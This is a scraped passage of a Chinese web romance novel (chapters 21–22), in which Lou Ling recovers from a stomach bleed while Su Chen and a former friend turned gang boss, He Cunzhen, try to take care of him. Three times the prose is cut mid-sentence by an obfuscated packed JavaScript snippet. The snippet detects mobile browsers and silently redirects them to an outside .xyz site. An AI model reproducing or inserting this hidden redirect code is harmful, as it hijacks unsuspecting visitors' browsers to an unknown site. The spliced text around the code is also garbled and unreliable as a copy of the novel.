冷汗不住冒了出来,他瞬间咬紧了嘴唇,身子也慢慢歪倒了。 “小心啊你……” 樊若星以为他是喝醉了,刚走过去想扶他,却见他浑身剧烈一颤,朝他倒了下来。 他忙不迭伸出手,于猝不及防间揽住他的腰。版型合衬的制服包裹着他的身体,尤其是腰部被掐得极细,同时又不缺力量感,隔着衣服能感受到他紧绷的腹部。 他就那样顺势靠在了樊若星肩上,由于流了太多汗,发胶已是支撑不住,湿漉漉的碎发软趴趴耷拉下来,含着酒气的吐息在他耳侧起伏。少许时分,耳尖就发起烫来。 樊若星呆愣了片刻,下意识伸出手想去摸他的脸,还未触到,一道充斥着怒意的声音打断了他。 “你在做什么!” 他转头看去,一个穿着银灰色西装的男人大步走来,他长相颇为俊秀,本该如春风般和煦,此刻面色却阴沉得可怕,眉目间的寒意竟使习惯了肆意妄为的他生出了点怯意。 男人几步走到他们边上,用冰冷的眼神盯着他。 “放手。” “凭什么……” 他一言不发,重重拂开樊若星的手,把他怀里的男人接了过去。 苏谌原本是有些生气的,虽然他已经知道娄陵和以前不一样了,也瞒了他不少事,可怎么也想不到他会来这种地方,还……靠在别人怀里。 压抑住心里的酸涩,他板起脸刚想说话,一看娄陵的状态,脸色巨变。 “娄陵?” 他似乎已经完全脱力了,无法靠自己支撑住,一个劲往下滑去,苏谌差点没能接住,连忙用另一只手环住他的腰。 “你,你怎么了?” 娄陵没说话,依旧垂着头,只是用手攥紧了他的衣摆,用力到指节都开始发白,整个人都在微微颤抖。 苏谌想托起他的脸,一摸全是水,不知是冷汗还是眼泪。他不禁惊慌起来,轻轻叫了两声他的名字。 隔了一小会儿,娄陵缓缓抬起头,打湿的碎发粘在脸侧,眼眶已经红透了,被泪水洗过的黑眸格外清澈,里面难得露出一点委屈,细看瞳孔已经开始涣散了。 “疼,我好疼……” 注意到他嘴角的殷红,苏谌仿佛忽然被掐住喉咙,呼吸都快暂停了。他怀揣着恐惧,将目光移到地面上,果然看见一滩鲜红血渍。 他猛地扭头对跟在后面的人喊道:“叫救护车!” 睁眼时,首先映入眼中的是雪白的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425486|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花板。 娄陵疑惑地眨了下眼睛,余光所见,并不是他住了很久的那个小破房间。 过了好一会他才反应过来,这里好像是医院,他左手还扎着吊瓶。在看见床边趴着的人时,他愣了一下。 苏谌睡着了,用的是那种很乖的,以前在学校课间小憩时的那种姿势,把胳膊垫在脑袋下,只露出一边的脸。 他静静看着,只觉得心里柔软下来,不禁伸手撩起他的发丝,他安静的侧脸很漂亮,睫毛因浅浅呼吸而颤动。 微风透过窗缝吹进来,纱质窗帘瞬间扬起,漂浮在空气中,在阳光照耀下轻薄如一片云。 娄陵不禁抬眼看去,就在这时,趴在他边上的人睁开了眼睛。 “娄陵。” 那是轻柔到令人心尖一颤的声音,夹杂着惹人心碎的脆弱与小心,又飘渺得如同错觉。 娄陵在一瞬间移开视线,手指刚想缩回就被抓住了,苏谌捧起他的手,用脸蹭了蹭。 “是幻觉吗?” 他一边蹭一边喃喃。 本想强行抽回的手顿住了,娄陵闭上眼,在心里叹了口气。 他似乎以为自己还在做梦,刚才的神态和少年时一模一样。 就那样维持了一段时间,苏谌终于清醒过来,揉了揉自己的眼睛。 “你醒了?” 他的语气很惊喜。 “饿了吗?我先去给你弄点吃的。” 没有马上接话,娄陵冷眼看他起身又是发消息又是倒水,整洁的西装已经有了褶皱,头发也因睡姿而凌乱,大概是没休息好,眼下有了淡淡的青痕。 为什么还是不肯放弃呢?我到底有什么值得你这么做的? “我叫了粥,你现在还只能吃流食。” 苏谌出去了一趟,回来时手上提着一个饭盒。他调整了病床的小桌板,将打开盖的食盒放了上去,又给勺子消了毒。 娄陵刚伸手打算接勺子,却听见他说:“我喂你吧。” “……不用了。” “你手还在输液呢,我喂你方便点。” “我右手也行。” “你现在手还抖呢,一会撒了。” 争执几番,娄陵还是妥协了。他知道苏谌固执起来其实很难缠。 自从有意识以来,就没被喂过饭,他不禁有些羞耻,苏谌进入角色倒是快,每舀起一勺粥就要耐心吹几口气,送到嘴边时还要哄劝一句。 “啊……” 几次之后,他脸上浮起了恼意,干脆撇开脸不吃了。苏谌这才作罢,只是后来多次扭头,明显是忍不住偷偷笑了。 这人脸皮确是比以前厚了不少。 断断续续把一碗粥喝完了,苏谌收拾了餐具,再次坐到床沿,背对着娄陵。 气氛一下子陷入沉默,两人谁都没有说话,一种微妙的默契在空气中流淌。 僵持数分钟后,他还是开口了。 “为什么要去那里?” “我乐意。” “……你现在,是不是很缺钱?” 他还是问出了这句话。 放在被面上的手不自觉攥紧,娄陵没有立即答话。他继续说了下去。 “你的父母,他们……” “他们还在国外,成年后就断了我生活费,钱不够花,只好弄个来钱快的工作咯。” 听见他漫不经心的回答,苏谌霎时心脏一紧。 大骗子。 以从前对娄陵的了解来看,他并不是一个高物欲的人。假若他说的是真的,只是为了自我享受,又怎么会住在那种地方。 “我公司里还缺人,你可以……” “别开玩笑了,我进去能做什么。” 苏谌转过头,又一次看见他露出那种神情,平静中透出讽刺。 “还是说,让我给你陪酒?” 21. 现代 (21) 玩笑似的话语,令苏谌口中酸涩,他自己面临贬低向来坦然应对,却听不得娄陵被讲一句不好,哪怕说这话的人是他自己。 他咬了下腮侧的软肉,克制地说道:“我会帮……” “我手机呢?” 娄陵冷不丁打断了他。苏谌咽下嘴边的话,起身去一旁的柜子上拿起手机。已经是很旧的款式了。 “之前你还没醒的时候,那位樊小姐送过来的。” 娄陵接过手机,幸好还有一点电,匆匆给母亲发了消息说要加班,然后将它倒扣在床上。 “我什么时候能出院?” 他用冷淡的目光注视着苏谌。 “至少观察一个星期。” “太久了,没必要……” “你是胃出血你知道吗?在有胃病的情况下喝了两瓶烈酒!你拿自己当什么啊……” 勉强维持的平静假象还是在此刻破碎了,汹涌的担心和后怕根本压制不住,苏谌完全不敢回想当时娄陵奄奄一息的模样,稍微回忆就会恐惧到无法呼吸。 “你有没有想过你要是出事了,我……你父母该怎么办。” 我又该怎么办啊…… 嗓音颤抖得太过明显,他连忙深吸一口气,稳住情绪。眼神也在一瞬间坚定下来。 “没有完全康复前,你不能走。” “苏谌……” “我不是在夸大,医生也是这么说的。我不多问别的,只请求你这一件事,别糟蹋自己的身体。” 眼前人澄净的黑眸被自己的倒影牢牢占据,也许是错觉,在阳光下泛出星点水光。 心脏麻麻的,掌心莫名开始发痒,娄陵扯了下嘴角,刚想说句恶劣的话彻底打消他的心思,却被他抢先一步。 “听我的。” 在那一秒,苏谌心有所感,他要堵在娄陵前面。说完了他才反应过来,自己的语气有些生硬,像是命令,赶紧小心轻声补上一句。 “好不好?” 眼含期待的神态隐隐和多年前重合。乖乖听他讲题目的苏谌,眼巴巴等他肯定的苏谌,忐忑不安要一句“喜欢”的苏谌…… 那时候他还没有经历家庭变故,有了点成绩就觉得自己无所不能,受到几句吹捧便觉得所谓曲折漫长的人生不过如此。 正因为后面的日子实在过得太苦,太艰难、也太孤独了,那一段时光才总被翻出来打磨,美好到有些虚假,令他不敢触碰。现在,阔别多年的梦中景象就这样出现在眼前。 他突然说不出拒绝了。 “你答应了?” 见他点头,苏谌紧绷的肩膀放松了,他凝眸浅笑时,满室的阳光仿佛都聚在那一双眼睛里。 安静的房间,空气中潜伏的微尘被窗外斜照进的微光打亮,和煦的风又一次撩起纱帘,泼落的浅影映在洁白的被面上。 连带着两人的影子一起。 空旷的办公室内,背景是城市高层,被无数商业楼灯光映照生辉的夜空。靠窗的实木桌周围有三个人,一人坐在办公椅上,另两人站着。 站在桌前那人抱着一叠文件,向坐着的那人汇报。 “贺哥,我们从东区接手来的产业都已经排查过了,暂时没什么问题,这里是您吩咐过要查的东西。” “老五,你又忘了,现在可不该叫哥了。” 站在办公椅旁边的人提醒他。 “……哦,对对,是贺总,瞧我这记性。” 坐着的那人静静听着他们对话。他靠在办公椅上,身体后仰,姿态松弛,目光随意掠过桌面时犹如猛兽逡巡领地。听到这里,他终于开口了。 “都是自家兄弟,过命的交情,私底下不用讲究这个。” 说话间,双目直视那人,语气缓和,腔调含笑。然而话语刚落,他身子前倾,唇边笑意不减,浅色的眼睛却犹如蒙了一层雾霭,令人心头一沉。 “不过要是到了外面,还是得委屈一下,毕竟做生意的就讲究个排场,一个不注意就让人家给看扁了。” “哎嗨,贺哥……哦不,贺总教训的是。” 被叫作老五的男子陪着笑,仿佛想起了什么,又连忙道:“这里面有家酒店……” “怎么了?” “别的没什么,就是里头有个酒吧,会员制的,只对酒店vip以上的客户开放,我们怀疑……里边有点名堂。” 那位“贺总”在刹那间收起了浮于表面的笑意,骨子里的狠戾穿过面皮现于人前。 老五突兀地想起一种广为流传的说法,姓贺的不像个人,是只实打实的狼崽子。 这还是几年前的说法,现在又大为不同了。 “说来听听。” “呃,只是怀疑,现在还没抓着把柄。” “查出来的东西呢?” “都,都在这了。” 男人拨开上边一沓纸,把下面的递给他。 贺存真戴上眼镜,一目三行,快速浏览了十几页,然后在某一页突然停住了。他的目光钉在那个名字上。 “这是什么?” 嗓音忽然变得艰涩,旁边两人并没有发觉。 老五凑上去看了一眼。 “是那个酒吧的注册人员。” “现在,去把这个人查清楚。特别是住址,一小时内我要知道!” 他这么吩咐到,强作平静的表面之下,回忆的巨浪奔涌翻滚,几乎要将他掀翻。 贺存真进监狱那年十七岁,罪名是过失致人死亡。三年后,他出狱了。他自觉相比之前改变巨大,不敢贸然去见娄陵,压抑着汹涌的思念,熬着度过了半年。 半年过去,头发长回之前的长度,也重新适应了社会生活,做完几天心理建设,他再一次翻出那个默念于心的地址。公交车上人不太多,每有人看他一眼,他就不禁去摸自己的发梢,又对着窗玻璃观察上面的倒影。 看起来和之前差不……不是太多吧。 换了几趟车,受了保安几个白眼,他终于找到了娄陵的家。那里早已换了主人,据说是通过法院拍卖接手的。 对于再见时的反复预演,启程前几夜的辗转反侧,绞尽脑汁填补上的空缺三年……在这一刻都失去了意义。世界黯然失色。 他跌跌撞撞走在数栋华美高楼之间,脸上是一片空泛的茫然,找不到这座钢筋混凝土森林的出口。 后边几年没什么值得说的,他投奔了从前认的大哥,为他做小喽啰。除了不触给自己预先设定好的底线,他什么都碰,就这样一点点向上爬。 要站得足够高,才有可能找到他。 好不容易得知娄陵曾经陪母亲去过省医院,找到那里后,又被告知他们只在那里治疗了一段时间,又转院了。再多的也问不出来,已经是好几年前的事了。 他彻底失去了娄陵的消息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425487|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那些年几乎只是靠那一个信念让自己支撑下来,在底层摸爬滚打,被呼来喝去,打折过腿,敲断肋骨,跪在地上磕头学狗叫。 他眼睛颜色特别,因此招了人眼,被刻意取笑污蔑,于是长期戴着黑色隐形眼镜,甚至那样下过水,角膜感染,一双眼差点废了。 为取信于人,他更是什么都肯做,差点忘记了自己还是一个人,什么尊严,全抛了一地,再也捡不回来。 好在他似乎还算得上天眷顾,不仅活了下来,还成了高层骨干,渐渐接过生意转了方向。自身情况稳定下来后,他每年定期给贺秋华汇款,只是再没回过她的消息。 贺存真还留着原来的联系方式,收件箱里躺着的全是贺秋华的短信。 “你今天出来,我做了一桌菜,好好给你接风洗尘。以后我们一家人一起过。” “存真,你去哪了,他们说你已经走了,你先来姑姑这里,我还在门口。” “你一个人能去哪呢,回来吧。” …… “今天你弟弟妹妹问我为什么要烧好菜,我说是哥哥生日,他们问我哥哥为什么不回来。你看见了就回来吧。” “颢颢和清清都很听话,今天被老师表扬了。我想起来,你小时候也很聪明的,去你们家玩,墙上都是奖状。” …… “是你吗?” “姑姑不需要这么多钱,你有空就回来看看。” …… “颢颢高考成绩不错,六百多分,清清这次测试年级第五。” “姑姑想你了。” 每一条都是已读的灰色,他已经读过了好多遍,疲惫的时候就打开看看,只觉自己在这世上还有个挂念。 只是在某个瞬间,唇边的笑突然就淡了。 他等待的另一个人,始终没有回音。数年前一条再无后续的短信,无数次把他带回那个晚上。那时他也是这样苦苦守着手机,忘却了还在淌血的伤口,忘却了即将面临的审判,只看得见一面小小的屏幕。 手上的伤留了下来,和后来随年月增多的伤痕一样,印刻在他的身体上,结疤又掉落,早就不会再疼了。 本该是那样的。 可是这一次,看见那个熟悉名字的同时,那道疤痕久违地开始发痒、发疼,像被无数小虫啃噬,他却欣喜到想要微笑。 终于……又能见到你了。 一周过去,娄陵自我感觉已是完全痊愈了,苏谌也很爽快地为他办理了出院手续。 走出医院,看见面前停的车,他犹豫了一下,还是干脆上了车。按苏谌周到的性子,要送他回家也不算奇怪,与其为了这种小事和他掰扯半天,不如遂了他的意。搭个顺风车的事。 车子有点晃荡,眼皮越来越重,估计还有挺长一段路,他安心让自己睡了过去。令他没想到的是,等再次睁眼,所在地并不是自己以前说的地址,而是一片陌生的园区内。 “醒了?” 苏谌已经下车了,手中拎着娄陵的行李箱。 准确来说也不是他的,那个箱子包括里面的东西全是苏谌买的,不过是为他买的。他住院时确实需要,只能承了这个人情。反正也不差这一个了。 “正好,上楼吧。” 他用空的那只手为娄陵拉开车门。 “去哪?” 娄陵在车内仰头,静静盯着他。 “我家。” 22. 现代 这两字被他很自如地吐出,他眉眼间的温柔似将化的春雪。 嘴唇颤抖了一下,不可置信在娄陵眼中放大。 “你……什么意思。” “你胃出血暂时是没事了,但是胃病不调理好的话以后难免还要受罪,不如趁这次一举养回来。” “我还要上班。” “我只是怕你照顾不好自己,住过来的话饮食方面就不用操心了,上班还是可以照常的。除了去酒吧。” 听见他最后那句话,娄陵终于忍不住哼笑出声。数秒后,他收敛起笑容,一步跨下车,站到苏谌面前。 “苏谌。” 叫他名字的时候,他的声音很冰冷,像数九寒天刮过的风,垂下的眼睛里透出嘲弄。 “你别告诉我,你现在还喜欢我。” “我爱你。” 毫不犹豫,他几乎是脱口而出。 迷茫和惊讶在娄陵眸中一闪而过,他想说什么,张开口又略带狼狈地抿紧了唇。 “我爱你,娄陵。” 苏谌重复了一遍,声音轻柔,字字恳切。他朝前走了一步,微仰起头,将曾被自己认定为不堪、因而竭力隐藏的内心剖露。 “你曾经说,从没喜欢过我。那时候……我几岁?好像是十六,还是自尊心强的时候。很长时间不肯相信,甚至自我欺骗,也想过干脆把你忘掉。” 说到这里,许是想起了往事,他轻笑一声,唇边绽开小小的梨涡。 娄陵撇开脸,不敢看他。他怕自己会动摇。 “但是我现在已经想明白了。即使你说的是真的,我也没法如你所愿和你划清界限,因为……” “我有女朋友了。” 细语戛然而止。娄陵后退一步,又重复了一遍。 “我有女朋友了。” 那双刚因为回忆沾染上薄雾的眼睛睁大了。 “你……你在骗我吧。” 原本也有些迟疑,可等真说出来以后,反倒容易了,有种尘埃落定的轻松。娄陵掩藏起被言语动摇的内心,眉眼间一片寂然。 他拿出手机,划拉了片刻,将屏幕朝向他。 “老板临时派给我别的活,得在外边待一个星期,包吃住,不用担心。” 短信发送时间是一周前,正是娄陵答应他听安排住院之后。 “好的,你也别太辛苦了,早点回来。” 回信的口吻亲昵自然,并不像一般朋友。 窗口上的备注是“楚秀君”。 “……” “这下信了?” 见他呆呆盯着屏幕,娄陵收回手机,没再多说什么,转身离开了。 【你……你真是,为什么要这样子啊。】 041回头看去,苏谌正僵硬地立在原地,默然望着娄陵背影远去,神情寥落,只觉得心中不忍。 【你不是该和他复合了嘛?】 【没到时机。】 【什么时机啊……】 娄陵把手揣进兜里,笑笑没应声。 【总不能太顺着他,一波三折才有意思。】 【就那么把手机给他看,不怕他认出来吗?】 041趴在他肩头,语气忧心忡忡,又有那么点恨铁不成钢的味道。 【那有什么关系。】 娄陵走到路口,挥手拦下一辆出租车。 【不过,我赌他不记得。】 在城中村外下了车,娄陵慢悠悠溜达回了自家楼下,隔着一小段路,两栋墙皮斑驳的握手楼间,一堆花花绿绿的纸壳子和塑料瓶边上,站着一个男人,正仰头观察上面的阳台。 娄陵在心里吹了个口哨。 【又一个老熟人。】 【诶,他……】 041将视野拉近,男人的形象在眼前清晰起来。他身量高挑,偏瘦削却不显得孱弱,黑发理得很短,特别是颈后的位置,底下往上一寸,是头发剃完后留下的青色。 五官还能看出年少时的影子,只是一道极深的疤痕截断了入鬓的眉,略深的眼窝中独特的眼瞳,有着与冷血动物相类的薄情。 比起从前纯粹的俊朗隽美,此刻人们看见他,多半会因为身上隐隐透出的凶戾而不敢接近。 咔。 干瘪的易拉罐被踩中,发出一声脆响。 男子恍然回头,与他遥遥相望,他们中间隔着一小片漂浮着碎纸片和烂烟头的水洼。 尽管本就是为这个人而来的,也已做好了与他再见的准备,可等真的近在眼前了,竟起了退缩的念头。 他和以前,好像没什么改变,又或许是变化太多,也微小,堆叠在一起,反倒无从说起。 贺存真艰难地扯动嘴角,尽力让自己露出一个与曾经一般无二的笑。 “好久不见。” 不管怎么样,能再见,就已经太好了。 面前的人看似在笑,却又好像在哭一样。眼中的情感蓄成一整片浓重的阴云,压得人喘不过气。 娄陵跨过水洼走近他,上下打量了一番,张开口:“贺……” 他兀地停了两秒,抿住嘴唇,在这人深邃复杂的目光注视下,再次唤他。 “存真。” 这之后,两人久久不语。 大概过了有五分钟,贺存真率先有了动作,他笑着搂住娄陵的肩,凑到耳边问他。 “不请我上去坐坐吗?” 贺存真坐在掉漆的沙发上,见娄陵把盛了白开水的一次性纸杯放在他面前,然后另拿了把小木凳坐在一边。 拿过纸杯啜了一口,他问他:“你现在怎么样?” “就你现在看见这样。” 娄陵唇边浮现出一抹笑,不显得苦涩,反而有些安然,又或者更接近麻木。 “要不先说说你吧,你还在打游戏吗?这时候应该退役了吧。” “哈哈,其实当时还在训练营的时候就被淘汰了,天外有天啊。” 贺存真用攥成拳的手抵住嘴唇,轻咳了一声。 “不出去看看,还不知道世界这么广大。” 自己又是那么渺小,有时甚至比不上湖边的芦苇、脚底的尘沙。 “你说的没错。” 娄陵接了一句,与他四目相对。 “至少现在已经走过来了,不是吗?” 贺存真不是当年的毛头小子了,他见识过形形色色的人,经历了常人难以想象锥心酷刑,设身处地体会了人性之恶。他看那些怪物撕去人皮,底下是一滩漆黑腐臭的恶心玩意儿,却不得不与他们共处,并在那段时光里慢慢被同化,用淌出的污血,给自己砌上一层面具。 当年消息泄露以后,他是首要怀疑对象,接连受了三天审讯,始终咬着牙让自己不露一丝破绽。负责审讯的人上报时都说不可能是他,要真是,那简直不是人,是个妖怪! 现在看来,还是审讯者不对啊。若是换作娄陵,也不用想方设法整什么电刑,一个眼神,他就要缴械投降。 就像现在。在他清透的目光下,铁签都没撬开的伪装开始片片崩塌、碎成齑粉。 “别去那个酒吧了,那里……不安全。” “你怎么知道,”对面的人撇下眼睛,“难道……你是酒吧老板?” 喉结滚动了一下,贺存真用目光牢牢攫住他,声音不由低了下去。 “现在是。准确来说,那家酒店都是我的。” “哦?” 他语中带笑,不见有多惊讶,只盯着茶几边缘的木刺,缓缓道:“那你给我加个底薪吧?” “娄陵……” 贺存真不住皱眉,只觉得他脸上的笑怎么看都碍眼。 “不行吗?那至少别把我开了吧,不然又要找工作了。这份当时能找到也不容易啊。” 娄陵抬头望向天花板上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425488|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为渗水留下的斑痕,语气依旧轻佻,只是似乎想起了一段不怎么样的过去,面上多了一层恍惚。 看不了他这副样子,看一眼就浑身发痛,血管里流淌的东西好像变成了硫酸,将体内烧灼成一片狼藉。 “我帮你换一份。” 说出这句话的时候,贺存真想碰他的手。他指尖血色太浅。 “还有别的来钱多的活吗?” 他将视线移到贺存真脸上,眉毛微挑,神情有些玩味。 “前提是高中肄业,还有个坐牢的父亲。” 贺存真的面色震动了一瞬,下意识就要开口。 “你……” “我不要你帮我。” 娄陵截断了他未出口的话,在茶几侧的抽屉里掏出一包烟,用食指和中指夹了一根,把剩下的朝向贺存真。见他摆了下手,也不劝什么,自己把烟点上了。 “你还记得吗?” 他把烟叼进嘴里,吸了一口,缓缓吐气,白烟升起,模糊了他的眉眼。他的嗓音有点哑,末尾带着似有若无的颤抖。 “你以前说,‘你以后肯定前途不可限量,我这次投资怎么想也不会亏’。” 烟尾的一点红在昏暗的室内犹如闪烁的警示灯,男人把那支烟靠在烟灰缸沿轻抖几下,然后扬起一双细长眼睛睨他。 那里面盛着亟待燃尽的炉灰,寂寂无声,仅存一口气就能吹灭的火星。 “你那时候眼光不行,做了桩亏本生意。” 如玉般的手指捏着那根裹着纸皮的烟草卷,将它按在缸底,用力碾了两圈。 他丢下烟,从小凳上起身,绕到沙发边上,拍了拍贺存真的肩。 “以后眼睛擦亮点。” 俯身说话的时候,被烟草气味裹挟的冷淡嗓音刮过他的耳廓。 贺存真终于忍不住抓住他的手臂,使力一拽,他们瞬间挨得极近,额头几欲相抵。他的动作突然,娄陵不得不用手撑住沙发,下意识垂眸,看见一双含笑的眼睛。 “哪儿亏本了,我怎么看都觉得赚得不行。” 仅咫尺距离的眼眸里闪过诧异,娄陵微张开口,一时没能维持住扎人的假象。碎发垂下来,扫在脸侧,有点痒痒的。贺存真拼命克制,按在沙发板上的手都开始发抖,才忍住了亲吻的欲望。 “巴不得再来一次。” 娄陵这人,心思重得要命,也不知道他哪来那么重的责任感,非要把一切都担在自己肩上。他有时候真怀疑,是不是娄陵出生的时候就有一道闪电咔嚓劈下来,然后有个天上来的声音告诉他,你命格不凡,这个世界以后就靠你拯救了。 不然他怎么自己都过得这么不好了,不想着让别人拉一把,宁愿在地里滚了一身泥,还怕沾染别人,为此不惜弄出一副“都是我活该”的模样。 他好像觉得,被伤害、被辜负也是一种错,只因为没能如别人期望的那样,永远闪闪发光地站在那里。 可那不是你的错啊。 爱你的人怎么舍得因为身上的伤口苛责你,只会每看见一点疤痕,就感同身受,恨不得以身代之。 只想把一颗心都揉碎了、熔化了,熨帖在伤口上,还怕温度不合宜,给烫到了。 多年前贺存真刚从那座牢笼里逃出来,身后那栋建筑的阴影还笼在头顶上,抬头却见不远处有人站在阳光下,不经意投来一瞥。 他与周围的荒芜冷落格格不入,偏偏那么恰到好处出现,于一瞬间闯进他眼里。 娄陵是上天赐给他的奇迹,带着他逃离了密不透风的暗室、不讲理的棍棒、不间断的谩骂,找到了一个可以暂歇的港湾,对未来重新燃起期待。 十六岁那年,他是真的想和他就那样生活下去。 即使世界反复倒退,时间的浪潮一次次将他打落,他也想奋力闯进每一丝缝隙,去拉他的手。 为此,付出什么代价都在所不惜。